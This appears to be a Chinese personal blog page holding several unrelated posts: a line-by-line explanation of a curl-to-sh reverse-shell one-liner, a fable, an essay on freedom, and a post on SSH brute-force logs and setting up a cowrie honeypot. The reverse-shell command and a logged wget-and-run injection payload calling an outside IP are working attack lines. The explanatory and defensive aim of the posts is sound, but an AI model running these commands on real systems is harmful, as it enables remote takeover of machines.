{ curl -sNkT . https://$LHOST:$LPORT </dev/fd/3| sh 3>&-;} 3>&1|:

这句命令就像魔法一样神奇，和常见的反弹 shell 命令大相径庭。我花了些时间才理解它是如何工作的。

本文将简要叙述它的工作原理，但不会涉及反弹 shell 的基础知识。如果读者缺乏这些基础知识，可参考《Linux反弹shell（一）文件描述符与重定向》和《Linux 反弹shell（二）反弹shell的本质》。

预备知识

冒号

命令的最后一个字符冒号是个鲜为人知的 Bash 内置命令，用 man bash 查看手册可以找到如下的说明：

: [参数]
    无效；除了扩展参数和执行任何指定的重定向外，该命令没有任何作用。返回的退出码为 0。

花括号

在 Bash 中，花括号有多种不同的用法，详情见《浅析 Bash 中的 {花括号}》。在我们尝试理解的魔法命令中用到了其中一种：可以在花括号中写多条命令，这些命令构成一个命令组，花括号后的重定向将对命令组中所有命令生效。

例如执行如下命令：

{ echo 1 ; echo 2 ; } > out.txt

会发现屏幕没有任何输出，out.txt 的内容是：

1
2

可见两条 echo 命令的标准输出都被重定向到了文件 out.txt。

需要注意的是，命令组中最后一条命令的后面也需要添加分号，以明确标识命令结束，否则 Bash 的语法解析器将无法正确解析。

另外，命令组的重定向优先级低于组内命令自身的重定向。例如执行如下命令：

{ echo 1 > inner.txt ; echo 2 ; } > outer.txt

会发现第一个 echo 命令的输出被重定向到了 inner.txt，而不是 outer.txt。

/dev/fd/

/dev/fd/ 是指向 /proc/self/fd 的软链接。

$ ls -l /dev/fd
lrwxrwxrwx 1 root root 13 Jan 30 12:23 /dev/fd -> /proc/self/fd

/proc/self 是一个特殊的软链接。当有进程查询该软链接的值时，Linux 内核会将 /proc/self 指向 /proc/<该进程的 PID>。

curl 参数

使用 man curl 可以查询到魔法命令中 curl 各个参数的含义，整理后列举如下：

• -s, –silent：不显示进度或错误信息。但仍会传输指定数据或输出内容到 stdout。
• -N, –no-buffer：禁用输出流的缓冲功能。正常情况下，curl 会使用一个标准的缓冲输出流，它的作用是将数据分块输出，而不是数据到达后立即输出。可使用该选项禁用这种缓冲。
• -k, –insecure：忽略证书错误。
• -T, –upload-file ：上传指定本地文件到远程 URL。可用 - 做文件名以从 stdin 读取文件内容；也可用 . 做文件名，以非阻塞模式从 stdin 读取文件内容。非阻塞模式是指可从 stdin 读取文件内容的同时读取服务端输出。

语法分析

为理解魔法命令，我们先对其进行语法分析。

魔法命令被倒数第二个字符 | （管道）分为前后两部分，如下图所示。

                                                                       +-------+
                                                                       |       |
                                                                       |   |   |
                                                                       |       |
                                                                       +-+---+-+
                                                                         |   |
+-----------------------------------------------------------------+      |   |       +-------+
|                                                                 |      |   |       |       |
| { curl -sNkT . https://$LHOST:$LPORT </dev/fd/3| sh 3>&-;} 3>&1 +------+   +-------+   :   |
|                                                                 |                  |       |
+-----------------------------------------------------------------+                  +-------+

前半部分是写在花括号中的命令组，命令组中包含由管道连接的两条命令，如下图所示。

                                +-------+
                                |       |
                                |   |   |
                                |       |
                                +-+---+-+
                                  |   |
              +------------+      |   |       +-------+
              |            |      |   |       |       |
              | {...} 3>&1 +------+   +-------+   :   |
              |            |                  |       |
              +------+-----+                  +-------+
                     |
              +------+-----+
              |            |
              |      |     |
              |            |
              +---+---+----+
                  |   |
                  |   +-------------------------------------+
                  |                                         |
+-----------------+------------------------------+    +-----+----+
|                                                |    |          |
|  curl -sNkT . https://$LHOST:$LPORT </dev/fd/3 |    | sh 3>&-; |
|                                                |    |          |
+------------------------------------------------+    +----------+

fd 重定向分析

完成语法分析后可对 fd 重定向情况进行分析。

假设执行这条命令的 Bash 的 stdin 和 stdout 都是 pts/0。外层 |（倒数第二个字符）产生的匿名管道为 pipe1，内层 |（curl 和 sh 之间的管道）产生的匿名管道为 pipe2。

可标注出外层 | 前后命令的 fd 如下图所示。

                                                                       +-------+
                                                                       |       |
                                                                       |   |   |
                                                                       |       |
                                                                       +-+---+-+
                                                                         |   |
+-----------------------------------------------------------------+      |   |       +-------+
|                                                                 |      |   |       |       |
| { curl -sNkT . https://$LHOST:$LPORT </dev/fd/3| sh 3>&-;} 3>&1 +------+   +-------+   :   |
|                                                                 |                  |       |
+-----------------------------------------------------------------+                  +-------+

                         stdin : pts/0                                              stdin : pipe1
                         stdout: pipe1                                              stdout: pts/0

命令组后的 3>&1 将 fd 3 重定向到了 fd 1，即 stdout，如下图所示。

                                                                  +-------+
                                                                  |       |
                                                                  |   |   |
                                                                  |       |
                                                                  +-+---+-+
                                                                    |   |
+------------------------------------------------------------+      |   |       +-------+
|                                                            |      |   |       |       |
| { curl -sNkT . https://$LHOST:$LPORT </dev/fd/3| sh 3>&-;} +------+   +-------+   :   |
|                                                            |                  |       |
+------------------------------------------------------------+                  +-------+

                         stdin : pts/0                                         stdin : pipe1
                         stdout: pipe1                                         stdout: pts/0
                         fd 3  : pipe1

命令组中的命令会继承 {} 的 fd，同时命令组中两条命令也由一个管道连接，综合这两点可标注出 curl 和 sh 的 fd 如下图所示。

                                 +-------+
                                 |       |
                                 |   |   |
                                 |       |
                                 +-+---+-+
                                   |   |
               +------------+      |   |       +-------+
stdin : pts/0  |            |      |   |       |       |
stdout: pipe1  | {...} 3>&1 +------+   +-------+   :   |
fd 3  : pipe1  |            |                  |       |
               +------+-----+                  +-------+
                      |
               +------+-----+                 stdin : pipe1
               |            |                 stdout: pts/0
               |      |     |
               |            |
               +---+---+----+
                   |   |
                   |   +-------------------------------------+
                   |                                         |
 +-----------------+------------------------------+    +-----+----+
 |                                                |    |          |
 |  curl -sNkT . https://$LHOST:$LPORT </dev/fd/3 |    | sh 3>&-; |
 |                                                |    |          |
 +------------------------------------------------+    +----------+

                 stdin : pts/0                         stdin : pipe2
                 stdout: pipe2                         stdout: pipe1
                 fd 3  : pipe1                         fd 3  : pipe1

curl 和 sh 各自又有一个重定向。curl 的 </dev/fd/3 表示把 stdin 重定向为 fd 3，即 pipe1。sh 的 3>&- 表示关闭 fd 3。考虑到这两个重定向，最后可得到下图。

                                 +-------+
                                 |       |
                                 |   |   |
                                 |       |
                                 +-+---+-+
                                   |   |
               +------------+      |   |       +-------+
stdin : pts/0  |            |      |   |       |       |
stdout: pipe1  | {...} 3>&1 +------+   +-------+   :   |
fd 3  : pipe1  |            |                  |       |
               +------+-----+                  +-------+
                      |
               +------+-----+                 stdin : pipe1
               |            |                 stdout: pts/0
               |      |     |
               |            |
               +---+---+----+
                   |   |
                   |   +-------------------------------------+
                   |                                         |
 +-----------------+--------------------+              +-----+----+
 |                                      |              |          |
 |  curl -sNkT . https://$LHOST:$LPORT  |              |    sh    |
 |                                      |              |          |
 +--------------------------------------+              +----------+

                stdin : pipe1                          stdin : pipe2
                stdout: pipe2                          stdout: pipe1
                fd 3  : pipe1

从上图可以很清晰地看出，curl 的 stdin 和 sh 的 stdout、 sh 的 stdin 和 curl 的 stdout 分别通过匿名管道 pipe1 和 pipe2 相连。

工作原理

至此，我们已经基本弄清了魔法命令的工作原理，总结如下：利用 Bash 语法：命令组、管道和重定向等让 curl 命令和 sh 命令的 stdin 和 stdout 交错相连；又添加 -T 等参数和文件名 . 让 curl 读取 stdin 的内容发送到服务端，同时读取服务端返回的数据并输出到 stdout。

遗留问题

为何要关闭 sh 命令的 fd 3？

测试发现其实不关闭 sh 命令的 fd 3 反弹 shell 也可以正常工作。

: 命令的作用是什么？

建立匿名管道 pipe1，且 : 命令不会去读 pipe1，不影响反弹 shell 工作。如果把 : 换成同样不会读 stdin 的 true 命令，反弹 shell 仍然可以工作，但如果换成会读 stdin 的命令如 cat，反弹 shell 就无法工作了。

有个周日很热很热，太阳高悬，天蓝蓝的，没有一朵云，大地就像一个蒸笼，迎面吹来的风也是烫的。气温一定超过了 40℃，可温度计的读数不知为何却只有 29.7℃。这个人不停地流汗，汗水浸透了衣服，可由于没有达成开空调的条件只好默默忍受。最后他中了暑，晕了过去。

上面是我根据自己的真实经历编造的一则现代版“郑人买履”寓言故事。我在深圳时曾购买了一个 WS9401 型室内外温湿度计，并根据温湿度计的读数来决定是否开启及关闭空调的制冷和排湿功能。当然这个温湿度计的售价不止 ￥3.4，买下近两年来未曾坏过，我在近几年也没有中暑过，这些都是虚构的。

我把这个温湿度计带到了北京，近来每晚下班回到家看着 3 ℃ 的读数又回想起在深圳的日子，颇为感慨，便写下了这个寓言故事。由于深圳市有“来了，就是深圳人”的城市标语，我斗胆把寓言故事的标题拟为《深人买计》。

第一件事情是更换自己的博客程序为Wordpress。在博客历史页面，我记录了自己博客所用程序的变迁情况，依次是：

• 2015年06月开始：网易博客
• 2016年02月开始：自己用Django编写的博客Django-myblog
• 2016年06月开始：Wordpress
• 2017年02月开始：Jekyll
• 2017年07月开始：自己用Python编写的静态博客Wblog
• 2018年11月开始：Wordpress

其中网易博客是完备的博客平台，用户只需注册账号就可使用，最为简单便捷，但最不自由，处处受到网易的制约，甚至还有广告。
Wordpress和Jekyll都是开源的博客程序，需要自己动手搭建运行环境，比网易博客要自由一些，但终究是别人写好的程序，有一定限制，如Jekyll无法实现多级分类。
Django-myblog和Wblog都是我自己一行一行写出来的，自由度最高，从功能到样式，完全由我自己决定。

自由程度按增序排名是：

• 网易博客（最不自由）
• WordPress
• Jekyll
• Django-myblog
• Wblog（最自由）

但最后，我却放弃了最自由的Wblog，选择了较为不自由的Wordpress。做出这一选择，当时写下的原因是“工作后再没有精力折腾”。

第二件事情是更换自己的笔记本电脑的操作系统为Windows 10。我是在大一的暑假中拥有属于自己的笔记本电脑的，当时的操作系统是Windows 8.1，不久后就自动升级成了Windows 10。开学没多久，受知道创宇技能表中“让你的电脑默认操作系统就是Linux…”这句话的影响，我将笔记本电脑的操作系统重装为了Ubuntu14.04，一用就是好几年，最后使用的Ubuntu版本是18.04。但在几个月前，我将自己笔记本电脑的操作系统更换成了Windows 10。Ubuntu是一款Linux发行版，是开源操作系统，其自由程度显然要比Windows 10高很多。

这两件事情让我对追求自由是人类的天性产生了怀疑。因为我是人类，而我做出的选择不是自由而是不自由。这是我一个人的选择吗？显然不是。我找到了2018年第四季度国内操作系统分布情况统计，如下图所示。

从图中可以看到93.11%的PC端操作系统都是Windows，而更加自由的Linux只占了3.58%。

至于博客程序的选择，我没有去找统计数据，因为写博客的人原本就是极少的。用户更多的是一种叫做“微博”的东西，根据《2018微博用户发展报告》，仅新浪微博，月活跃用户就有4.62亿之多。新浪微博是一种类似于网易博客的东西，它们均由商业公司运营，自由程度基本相同。

我原想回顾历史找出证据来证明或证伪追求自由是人类的天性，但我的历史知识极为贫乏，又没有充裕的时间来查阅资料，只好放弃。关于历史，我想到的是若追求自由真的是人类的天性，而奴隶制社会中的奴隶们又确实感觉到了不自由，那么他们应该奋起反抗，若真是这样，奴隶制应该不会存在或只会存在很短暂的时间。但事实上，无论是东方还是西方，奴隶制都有漫长的历史。维基百科甚至说：

现在奴隶制度在世界各国都是非法的，但估计世界上仍有二千七百万人是事实上的奴隶。

有可能追求自由确实是人类的天性，但奴隶制社会中的奴隶们并没有感觉到有多么不自由。毕竟在他们的世界中，奴隶的存在是正常现象。若有一天自己不幸沦为了奴隶，也会觉得自己的遭遇是可以接受的，因为奴隶就该这样。我被地球引力束缚在地球表面，并没有因此而觉得不自由。在我们的社会中，绝大多数人都被工作所束缚，我不知道其中有多少人会因此觉得不自由，就我自己，只会偶然有不自由的感觉。

另一种可能是追求自由确实是人类的天性，奴隶制社会中的奴隶们确实感觉到了不自由，但这种天性较为微弱，追求自由的愿望不够强烈，不足以让奴隶们采取实际行动。

有段时间我很想写小说，当时构思了这样一个设定。有一天，地球上各个国家的政府在一件事情上达成了共识，这件事情是：每个人都应当有权选择自己是否做为文明社会的一员。同时在太平洋中选择几座小岛，做为文明隔离区，人类文明不会对其进行任何干预。每个人在成年时都可以自由地选择是否脱离人类文明，若一个人选择了脱离人类文明，则会被赤身裸体地送到文明隔离区，享受不受任何道德和法律约束的自由生活。

但稍加推演就会得出这样一个结论：用不了多久文明隔离区就会发展出自己的文明。所以文明隔离区是毫无意义的。

如果我可以和动物进行交流，我很想问问，与关在动物园中不愁吃喝、没有任何危险、运气好时还会送来配偶的生活相比，它们是否真的更愿意生活在很可能找不到食物、被猎杀、还没有留下后代就死去的野外，而野外唯一的优势就是自由。

如果动物们的回答是选择自由，那么人类为何不会选择去文明隔离区？这可能是因为我的脚底很柔软，碎石会割破它。但脚底柔软不是因为我是人类，而是因为我出生在人类文明中，自幼穿鞋。

回到本文的标题，追求自由是人类的天性吗？现在我的观点是：追求自由不是人类的天性。写下这篇文章记录这些想法，这样将来的我就可以明确地知道过去的自己关于这件事的想法。

忽然收到腾讯云的报警短信，说是检测到来自某IP的异常登录行为，疑似被黑客入侵。于是我马上登录服务器，查看SSH登录失败日志，发现果然有人在暴力破解我的SSH用户名和密码。

$ lastb
ftptest  ssh:notty    111.230.245.244  Sun Nov 25 09:03 - 09:03  (00:00)
ftptest  ssh:notty    111.230.245.244  Sun Nov 25 09:02 - 09:02  (00:00)
ftptest  ssh:notty    111.230.245.244  Sun Nov 25 09:00 - 09:00  (00:00)
butter   ssh:notty    13.251.164.85    Sun Nov 25 09:00 - 09:00  (00:00)
es       ssh:notty    111.230.245.244  Sun Nov 25 08:58 - 08:58  (00:00)
es       ssh:notty    111.230.245.244  Sun Nov 25 08:57 - 08:57  (00:00)
es       ssh:notty    111.230.245.244  Sun Nov 25 08:54 - 08:54  (00:00)
es       ssh:notty    111.230.245.244  Sun Nov 25 08:52 - 08:52  (00:00)
elsearch ssh:notty    111.230.245.244  Sun Nov 25 08:49 - 08:49  (00:00)
elsearch ssh:notty    111.230.245.244  Sun Nov 25 08:45 - 08:45  (00:00)
unix     ssh:notty    77.111.169.40    Sun Nov 25 08:44 - 08:44  (00:00)
elsearch ssh:notty    111.230.245.244  Sun Nov 25 08:44 - 08:44  (00:00)
butter   ssh:notty    13.251.164.85    Sun Nov 25 08:42 - 08:42  (00:00)
elk      ssh:notty    111.230.245.244  Sun Nov 25 08:39 - 08:39  (00:00)
elk      ssh:notty    111.230.245.244  Sun Nov 25 08:37 - 08:37  (00:00)
elk      ssh:notty    111.230.245.244  Sun Nov 25 08:35 - 08:35  (00:00)
elk      ssh:notty    111.230.245.244  Sun Nov 25 08:34 - 08:34  (00:00)
elk      ssh:notty    111.230.245.244  Sun Nov 25 08:32 - 08:32  (00:00)
vpnguard ssh:notty    159.203.67.146   Sun Nov 25 08:27 - 08:27  (00:00)
elastics ssh:notty    111.230.245.244  Sun Nov 25 08:26 - 08:26  (00:00)

这里只展示了命令输出的一小部分，暴力破解是2018年11月3日09:38开始的，以每秒几次的速率一直持续到现在。到目前为止，共计尝试了18957次。

# lastb | wc -l
18957

更可怕的是，这一万多次暴力破解来自一千多个不同的IP地址。

# lastb | grep -o '[0-9]\{1,3\}\.[0-9]\{1,3\}\.[0-9]\{1,3\}\.[0-9]\{1,3\}' | sort | uniq | wc -l
1397

0x02 Web扫描

前端时间在一台有公网IP地址的服务器上开了Python的静态HTTP服务器以下载一个文件，忘记关闭，过了一段时间去关，发现访问日志充满了漏洞扫描和暴力破解。十几天里有三千多条攻击记录。节选部分如下：

47.203.93.156 - - [04/Aug/2018 14:31:00] code 404, message File not found
47.203.93.156 - - [04/Aug/2018 14:31:00] "GET http://httpheader.net/ HTTP/1.1" 404 -
47.203.93.156 - - [04/Aug/2018 14:31:11] code 400, message Bad request syntax ('\x04\x01\x00P\xc0c\xf660\x00')
47.203.93.156 - - [04/Aug/2018 14:31:11] "
 P纁?0 " 400 -
47.203.93.156 - - [04/Aug/2018 14:31:21] code 400, message Bad request syntax ('\x05\x01\x00')
47.203.93.156 - - [04/Aug/2018 14:31:21] "
 " 400 -
156.212.246.226 - - [05/Aug/2018 10:49:15] "GET /login.cgi?cli=aa%20aa%27;wget%20http://46.166.185.42/e%20-O%20-%3E%20/tmp/hk;sh%20/tmp/hk%27$ HTTP/1.1" 404 -
115.231.233.9 - - [05/Aug/2018 11:45:39] "GET /phpMyAdmin/index.php HTTP/1.1" 404 -
186.23.59.137 - - [05/Aug/2018 12:42:32] code 501, message Unsupported method ('PROPFIND')
186.23.59.137 - - [05/Aug/2018 12:42:33] "GET /help.php HTTP/1.1" 404 -
186.23.59.137 - - [05/Aug/2018 12:42:37] code 404, message File not found
186.23.59.137 - - [05/Aug/2018 12:42:37] "GET /_query.php HTTP/1.1" 404 -
186.23.59.137 - - [05/Aug/2018 12:42:38] code 404, message File not found
186.23.59.137 - - [05/Aug/2018 12:42:38] "GET /test.php HTTP/1.1" 404 -
186.23.59.137 - - [05/Aug/2018 12:42:53] code 404, message File not found
186.23.59.137 - - [05/Aug/2018 12:42:53] "GET /log.php HTTP/1.1" 404 -
125.27.179.27 - - [06/Aug/2018 23:00:27] "POST /56.php HTTP/1.1" 501 -
125.27.179.27 - - [06/Aug/2018 23:00:27] code 501, message Unsupported method ('POST')
125.27.179.27 - - [06/Aug/2018 23:00:27] "POST /mz.php HTTP/1.1" 501 -
94.23.220.43 - - [07/Aug/2018 00:56:00] "GET /CFIDE/administrator/ HTTP/1.1" 404 -
117.27.159.157 - - [09/Aug/2018 16:06:57] "GET /index.action HTTP/1.1" 404 -
209.141.55.13 - - [10/Aug/2018 18:04:36] "GET //myadmin/scripts/setup.php HTTP/1.1" 404 -
119.23.26.66 - - [11/Aug/2018 10:14:34] "POST /hm.php HTTP/1.1" 501 -
119.23.26.66 - - [11/Aug/2018 10:14:34] code 501, message Unsupported method ('POST')
119.23.26.66 - - [11/Aug/2018 10:14:34] "POST /cainiao.php HTTP/1.1" 501 -
5.8.54.27 - - [21/Aug/2018 09:48:30] "GET /?XDEBUG_SESSION_START=phpstorm HTTP/1.1" 200 -

0x03 使用蜜罐防范攻击

这两件事情让我意识到，网络攻击无处不在。真正的黑客虽然不多，但自动化的攻击让每个黑客都可以贡献出巨大的流量。

如何应对这类攻击呢？我以docker的方式安装了中等交互蜜罐cowrie。

我的系统是Ubuntu14.04，安装过程如下：

1.修改SSH服务端口

在部署蜜罐前先将SSH服务的端口改掉，这通过修改配置文件来完成：

vim /etc/ssh/sshd_config

修改后重启SSH服务使得新配置生效：

sudo /etc/init.d/ssh restart

２.安装docker版cowrie蜜罐

首先安装docker：

sudo wget -qO- https://get.docker.com/ | sh

然后将一个非root用户添加到docker组，这样就能以非root用户运行docker：

sudo usermod -aG docker no-root-user

接着下载cowrie镜像：

docker pull cowrie/cowrie

最后运行cowrie蜜罐：

docker run -p 22:2222 cowrie/cowrie

参数-p做了端口映射，将主机的22端口映射到docker容器的2222端口（cowrie默认的SSH服务端口）。

3.查看cowrie的输出

刚刚运行就看到了大量的日志，截取部分如下：

2018-12-01T01:41:10+0000 [HoneyPotSSHTransport,9,91.183.42.58] NEW KEYS
2018-12-01T01:41:10+0000 [HoneyPotSSHTransport,9,91.183.42.58] starting service b'ssh-userauth'
2018-12-01T01:41:11+0000 [SSHService b'ssh-userauth' on HoneyPotSSHTransport,9,91.183.42.58] b'acogec' trying auth b'password'
2018-12-01T01:41:11+0000 [SSHService b'ssh-userauth' on HoneyPotSSHTransport,9,91.183.42.58] Could not read etc/userdb.txt, default database activated
2018-12-01T01:41:11+0000 [SSHService b'ssh-userauth' on HoneyPotSSHTransport,9,91.183.42.58] login attempt [b'acogec'/b'acogec123'] failed
2018-12-01T01:41:12+0000 [-] b'acogec' failed auth b'password'

后台运行可添加参数-d：

docker run -d -p 22:2222 cowrie/cowrie:latest

在后台运行时如何查看日志呢？

先查看cowrie的CONTAINER ID：

$ docker ps
CONTAINER ID        IMAGE                  COMMAND             CREATED             STATUS              PORTS                            NAMES
5f09eab15463        cowrie/cowrie:latest   "cowrie start -n"   6 minutes ago       Up 6 minutes        2223/tcp, 0.0.0.0:22->2222/tcp   confident_panini

然后进入到容器内部：

docker exec -it 5f09eab15463 /bin/bash

进入容器内部后就可以查看日志了：

cat ~/cowrie-git/var/log/cowrie/cowrie.json

４.配置cowrie输出到sqlite3数据库

但这样看到的日志是JSON格式的，不便于统计。cowrie提供了输出到数据库的功能，只是docker中没有配置。现在我们来配置它：

首先以root用户身份进入到docker容器中：

docker exec -u root -it 5f09eab15463 /bin/bash

安装用于修改配置文件的vim：

apt-get install vim

安装数据库sqlite3，之所以使用sqlite3是因为该数据库较为轻量，占用内存较少：

apt-get install sqlite3

接着新建配置文件cowrie.cfg，内容如下：

# cat cowrie-git/cowrie.cfg
[output_sqlite]
enabled = true
db_file = cowrie.db

然后初始化数据库，cowrie.db也在目录cowrie-git下：

sqlite3 cowrie.db < docs/sql/sqlite3.sql

修改配置文件和数据库文件的所有者：

chown cowrie:cowrie cowrie.cfg
chown cowrie:cowrie cowrie.db

保存对容器的修改：

docker commit 5f09eab15463 cowrie/cowrie

最后退出容器，重启docker：

docker stop 5f09eab15463
docker run -d -p 22:2222 cowrie/cowrie:latest

重启后过段时间进入到容器内部，查看数据库中数据：

# sqlite3 cowrie.db 
SQLite version 3.16.2 2017-01-06 16:32:41
Enter ".help" for usage hints.
sqlite> .table
auth             input            sensors        
clients          keyfingerprints  sessions       
downloads        params           ttylog         
sqlite> select * from auth;
1|a09fd9f00e15|0|michel|password123|2018-12-01T03:08:28.423070Z
2|c1855fc2dde7|0|ale|ale|2018-12-01T03:09:17.309824Z
3|92d390074e0b|0|weblogic|654321|2018-12-01T03:09:38.139350Z
4|8c0a4a1c1c57|0|b2|b2|2018-12-01T03:09:39.818113Z
5|8b7369499a3d|0|joshua|joshua123|2018-12-01T03:09:57.069270Z
6|6ef4f60e0961|0|matilda|123456|2018-12-01T03:09:59.964616Z
7|f7ed2d311e5a|0|ftpadmin|test|2018-12-01T03:10:02.564809Z
8|22ff162f41eb|0|postgres3|postgres3|2018-12-01T03:10:04.318106Z
9|2201f65fcab2|1|root|admin|2018-12-01T03:10:12.634901Z
10|338193bafc29|0|odoo|12|2018-12-01T03:10:13.408241Z
11|6bbfa429bbcd|0|whiting|whiting123|2018-12-01T03:10:30.459699Z
sqlite>.exit

在auth表中可以看到暴力破解使用的用户名和密码。

5.参考

• 《欺负一下暴力破解 SSH 密码的脚本小子，分享一个 SSH 蜜罐》

0x04 其他

这是我第一次使用docker，觉得很方便。操作起来颇有一种git的感觉。

以前在使用网易博客的时候，一段题为“说明：为什么要开通个人博客？”的话：

其一：在学习的过程中难免需要在网上搜集资料。在搜索后，往往可以看到有很多博客文章，其中正包含着我所需要的内容，给了我很大的帮助。所以我就想将自己学习过程中的经验、技巧、想法等内容记录在这个公开的平台上，“闻道有先后”，希望可以帮助到后来者。

其二：“吾生也有涯，而知也无涯”，人又是容易遗忘的动物。将学习的过程记录在这，等到自己需要某些学过的知识却回忆不起来时，便可以来这里看看。

标注的日期是2015年6月30日，18:56:52。当初只是零星地写了几篇文章，便放弃了。一方面是不喜欢网易博客复杂的功能、过多的推送，但主要还是由于我自己不够勤奋，没能热情地写作。半年后，学会了更多的知识，可以在一定程度上脱离冗杂的平台，自力更生，于是便有了这个博客，特意购买了域名，以激励自己认真地写博客。